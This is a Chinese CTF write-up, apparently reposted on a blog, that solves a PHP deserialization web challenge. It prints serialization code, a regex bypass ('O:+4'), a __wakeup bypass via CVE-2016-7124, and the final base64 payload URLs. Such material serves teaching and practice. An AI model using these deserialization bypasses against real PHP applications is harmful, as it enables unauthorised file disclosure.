长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)
題目
解題過(guò)程
PHP反序列化的一道題,從代碼看出flage在fl4g.php這個(gè)文件里面,Demo類的構(gòu)造方法可以傳入文件名。把Demo的代碼貼到本地做一下序列化
classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;
}function__destruct() {echo @highlight_file($this->file, true);
}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);echo $serialized_data;
View Code
得到序列化結(jié)果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通過(guò)var參數(shù)傳入,這里有兩個(gè)問(wèn)題:
1.var參數(shù)要先進(jìn)行base64編碼
調(diào)用php自帶的base64_encode函數(shù)進(jìn)行編碼
2.要繞過(guò)正則檢查
/[oc]:\d+:/i這個(gè)正則繞過(guò)書(shū)上看見(jiàn)過(guò)(所以沒(méi)事要多看書(shū) >_< ),O后面加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
最后訪問(wèn)連接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
嗯,失敗了,因?yàn)開(kāi)_wakeup有判斷文件名不是index.php就自動(dòng)跳回index.php頁(yè)面。。。
所以還有第3步要做,繞過(guò)__wakeup的檢查,這個(gè)正好也在書(shū)上看見(jiàn)過(guò)(再次印證沒(méi)事要多看書(shū) >_< )
CVE-2016-7124:__wakeup失效,當(dāng)屬性個(gè)數(shù)不正確時(shí),PHP不會(huì)調(diào)用__wakeup()。影響版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。
修改屬性個(gè)數(shù)1為2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在進(jìn)行編碼后傳入var參數(shù)
最終的代碼:
classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;
}function__destruct() {echo @highlight_file($this->file, true);
}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);$str=str_replace('O:4', 'O:+4',$serialized_data);$str=str_replace(':1:', ':2:',$str);echo base64_encode($str);
View Code
這里有一個(gè)坑,base64編碼必須調(diào)用php自帶的編碼函數(shù)才行,直接拿去在線base64編碼的結(jié)果無(wú)法拿到flag,原因不明。。。
訪問(wèn)鏈接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
拿到flag:
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
以上是生活随笔為你收集整理的长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: python 串口_如何使用Python
- 下一篇: javascript option 菜单